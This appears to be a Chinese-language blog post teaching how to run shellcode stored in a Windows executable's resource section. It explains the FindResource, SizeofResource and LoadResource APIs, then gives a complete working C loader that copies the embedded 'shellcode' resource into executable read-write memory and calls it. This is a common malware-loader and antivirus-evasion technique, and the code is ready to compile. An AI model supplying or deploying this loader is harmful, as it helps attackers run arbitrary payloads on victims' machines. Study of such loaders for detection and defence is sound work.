ShellCode加载 - 资源节加载
1、从资源节加载
1.1、什么是资源节
- 在Windows PE (Portable Executable) 格式中,"资源节"是一个特殊的节(section),用于存储可执行文件(如
.exe
或.dll
文件)的资源数据。这些资源数据可以包括位图、图标、字符串、菜单、对话框和其他用户界面元素,但它们也可以包括任何其他类型的二进制数据
1.2、使用FindResource函数查找定位到资源名称
- 函数介绍 : 用于查找指定模块(EXE或DLL文件)中指定名称和类型的资源
- 函数语法
HRSRC FindResourceA(
[in, optional] HMODULE hModule, //指向包含要查找的资源的模块的句柄,若该参数为NULL,则查找当前进程中的资源
[in] LPCSTR lpName, //指向资源名称的指针,可以是一个字符串或者一个整数,若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源标识符
[in] LPCSTR lpType //指向资源类型的指针,可以是一个字符串或者一个整数。若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源类型标识符
);
- 返回值 : 如果函数成功,则返回值是指定资源的信息块的句柄。 若要获取资源的句柄,请将此句柄传递给 LoadResource 函数。
1.3、使用MAKEINTRESOURCE宏转换
- 功能介绍:将整数值转换为与资源管理功能兼容的资源类型。 此宏用于代替包含资源名称的字符串
- 函数语法
void MAKEINTRESOURCEA(
i
);
1.4、使用SizeofResource函数获取资源大小
- 函数介绍:检索指定资源的大小
- 函数语法
DWORD SizeofResource(
[in, optional] HMODULE hModule, // 其可执行文件包含资源的模块的句柄。默认是用于创建当前进程的模块。
[in] HRSRC hResInfo // 资源的句柄。该句柄必须使用FindResource或FindResourceEx函数创建。
);
- 返回值 : 如果函数成功,返回值是资源中的字节数
1.5、使用LoadResource函数加载资源到内存
- 函数介绍 : 检索可用于获取指向内存中指定资源的第一个字节的指针的句柄。
1.6、实现过程
- 生成bin文件
-
右键资源文件->添加->资源->添加资源
-
导入bin文件
-
会在头文件中生成 resource.h
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 load.rc 使用
//
//IDR_SHELLCODE1 通常用于标识和引用项目中的某个资源,例如嵌入到可执行文件中的二进制数据、图像或其他类型的资源,在项目的其他部分(例如代码或资源脚本中),可以通过使用 IDR_SHELLCODE1 符号来引用这个资源,而不是直接使用数字常量(如 101
#define IDR_SHELLCODE1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
- 实现代码
#include<windows.h>
#include "resource.h"
int main() {
// 使用FindResource定位我们的shellcode资源
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode");
// 获取资源的大小
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
// 加载资源到内存
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
// 申请内存
// 动态分配内存以容纳shellcode
void* pShellcode = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 复制到内存中
memcpy(pShellcode, shellcodeResouceData, shellcodeSize);
// 强制转换内存地址为函数指针,然后调用它
((void(*)())pShellcode)();
return 0;
}
版权所有:Ljierui'Blog
文章标题:ShellCode加载 - 资源节加载
文章链接:https://fuckdog.org/post-22.html
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:ShellCode加载 - 资源节加载
文章链接:https://fuckdog.org/post-22.html
本站文章均为原创,未经授权请勿用于任何商业用途
推荐阅读: